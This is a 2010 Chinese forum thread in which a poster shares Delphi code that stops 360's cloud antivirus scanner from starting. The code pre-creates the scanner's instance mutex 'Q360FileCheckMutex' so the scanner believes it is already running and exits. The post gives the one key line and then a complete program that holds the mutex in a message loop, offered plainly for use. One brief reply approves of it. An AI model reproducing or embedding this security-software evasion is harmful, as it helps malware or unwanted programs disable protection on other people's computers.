delphi 一行关键代码阻止360云查杀

社区服务
高级搜索
猴岛论坛电脑百科delphi 一行关键代码阻止360云查杀
发帖 回复
倒序阅读 最近浏览的帖子最近浏览的版块
1个回复

delphi 一行关键代码阻止360云查杀

楼层直达
街头丶扣腚眼

ZxID:10993013

等级: 上尉
开学了,成了手机党

举报 只看楼主 使用道具 楼主   发表于: 2010-08-12 0
一行关键代码阻止360云查杀
云查杀程序运行之前,会尝试打开互斥对象 'Q360FileCheckMutex' 看程序是否已经运行,所以我们可以抢先建一个这样的互斥对象,使得它误以为已经运行了,从而达到阻止运行的目的,关键代码:CreateMutex(nil, TRUE, 'Q360FileCheckMutex');

完整代码:
program SERVER;
uses
Windows;
type
TWin = record
Msg: TMsg;
wClass: TWndClass;
hMain: integer;
end;
var Win: TWin;
begin
CreateMutex(nil, TRUE, 'Q360FileCheckMutex');
while (GetMessage(win.Msg, win.hmain, 0, 0)) do
begin
TranslateMessage(win.Msg);
DispatchMessage(win.Msg);
end
end.
本帖de评分: 1 条评分 DB +10
DB+10

不错

不懂也不知道

ZxID:10586231

等级: 禁止发言

举报 只看该作者 沙发   发表于: 2010-08-12 0
不错
« 返回列表
发帖 回复